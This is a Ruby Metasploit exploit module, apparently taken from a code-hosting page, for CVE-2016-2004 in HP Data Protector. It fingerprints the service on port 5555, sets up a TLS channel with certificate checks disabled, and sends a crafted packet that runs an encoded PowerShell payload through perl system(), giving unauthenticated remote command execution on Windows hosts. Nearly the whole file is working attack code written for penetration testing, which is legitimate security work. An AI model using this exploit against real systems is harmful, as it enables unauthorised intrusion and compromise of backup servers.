dwelch-r7
148 lines
4.1 KiB
Ruby
148 lines
4.1 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'openssl'
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = NormalRanking
|
|
|
|
include Msf::Exploit::Remote::Tcp
|
|
include Msf::Exploit::Powershell
|
|
|
|
def initialize(info={})
|
|
super(update_info(info,
|
|
'Name' => "HP Data Protector Encrypted Communication Remote Command Execution",
|
|
'Description' => %q{
|
|
This module exploits a well known remote code execution exploit after establishing encrypted
|
|
control communications with a Data Protector agent. This allows exploitation of Data
|
|
Protector agents that have been configured to only use encrypted control communications.
|
|
|
|
This exploit works by executing the payload with Microsoft PowerShell so will only work
|
|
against Windows Vista or newer. Tested against Data Protector 9.0 installed on Windows
|
|
Server 2008 R2.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' =>
|
|
[
|
|
'Jon Barg', # Reported vuln (originally discovery?) credited by HP
|
|
'Ian Lovering' # Metasploit module
|
|
],
|
|
'References' =>
|
|
[
|
|
[ 'CVE', '2016-2004' ],
|
|
[ 'URL', 'http://h20564.www2.hpe.com/hpsc/doc/public/display?docId=emr_na-c05085988' ]
|
|
],
|
|
'Platform' => 'win',
|
|
'Targets' =>
|
|
[
|
|
[ 'Automatic', { 'Arch' => [ ARCH_X86, ARCH_X64 ] } ]
|
|
],
|
|
'Payload' =>
|
|
{
|
|
'BadChars' => "\x00"
|
|
},
|
|
'DefaultOptions' =>
|
|
{
|
|
'WfsDelay' => 30,
|
|
'RPORT' => 5555
|
|
},
|
|
'Privileged' => false,
|
|
'DisclosureDate' => '2016-04-18',
|
|
'DefaultTarget' => 0))
|
|
end
|
|
|
|
def check
|
|
# For the check command
|
|
connect
|
|
sock.put(rand_text_alpha_upper(64))
|
|
response = sock.get_once(-1)
|
|
disconnect
|
|
|
|
if response.nil?
|
|
return Exploit::CheckCode::Safe
|
|
end
|
|
|
|
service_version = Rex::Text.to_ascii(response).chop.chomp
|
|
|
|
if service_version =~ /HP Data Protector/
|
|
vprint_status(service_version)
|
|
return Exploit::CheckCode::Detected
|
|
end
|
|
|
|
Exploit::CheckCode::Safe
|
|
|
|
end
|
|
|
|
def generate_dp_payload
|
|
command = cmd_psh_payload(
|
|
payload.encoded,
|
|
payload_instance.arch.first,
|
|
{ remove_comspec: true, encode_final_payload: true })
|
|
|
|
payload =
|
|
"\x32\x00\x01\x01\x01\x01\x01\x01" +
|
|
"\x00\x01\x00\x01\x00\x01\x00\x01" +
|
|
"\x01\x00\x20\x32\x38\x00\x5c\x70" +
|
|
"\x65\x72\x6c\x2e\x65\x78\x65\x00" +
|
|
"\x20\x2d\x65\x73\x79\x73\x74\x65" +
|
|
"\x6d('#{command}')\x00"
|
|
|
|
payload_length = [payload.length].pack('N')
|
|
|
|
return payload_length + payload
|
|
end
|
|
|
|
def exploit
|
|
# Main function
|
|
encryption_init_data =
|
|
"\x00\x00\x00\x48\xff\xfe\x32\x00\x36\x00\x37\x00\x00\x00\x20\x00" +
|
|
"\x31\x00\x30\x00\x00\x00\x20\x00\x31\x00\x30\x00\x30\x00\x00\x00" +
|
|
"\x20\x00\x39\x00\x30\x00\x30\x00\x00\x00\x20\x00\x38\x00\x38\x00" +
|
|
"\x00\x00\x20\x00\x6f\x00\x6d\x00\x6e\x00\x69\x00\x64\x00\x6c\x00" +
|
|
"\x63\x00\x00\x00\x20\x00\x34\x00\x00\x00\x00\x00"
|
|
|
|
print_status("Initiating connection")
|
|
|
|
# Open connection
|
|
connect
|
|
|
|
# Send init data
|
|
sock.put(encryption_init_data)
|
|
begin
|
|
buf = sock.get_once
|
|
rescue ::EOFError => e
|
|
elog(e)
|
|
end
|
|
|
|
print_status("Establishing encrypted channel")
|
|
|
|
# Create TLS / SSL context
|
|
sock.extend(Rex::Socket::SslTcp)
|
|
sock.sslctx = OpenSSL::SSL::SSLContext.new(:SSLv23)
|
|
sock.sslctx.verify_mode = OpenSSL::SSL::VERIFY_NONE
|
|
|
|
sock.sslctx.options = OpenSSL::SSL::OP_ALL
|
|
|
|
# Enable all ciphers as older versions of Data Protector only use
|
|
# some not enabled by default
|
|
sock.sslctx.ciphers = "ALL"
|
|
|
|
# Enable TLS / SSL
|
|
sock.sslsock = OpenSSL::SSL::SSLSocket.new(sock, sock.sslctx)
|
|
sock.sslsock.connect
|
|
|
|
print_status("Sending payload")
|
|
|
|
# Send payload
|
|
sock.put(generate_dp_payload(), {timeout: 5})
|
|
|
|
# Close socket
|
|
disconnect
|
|
|
|
print_status("Waiting for payload execution (this can take up to 30 seconds or so)")
|
|
end
|
|
end
|
|
|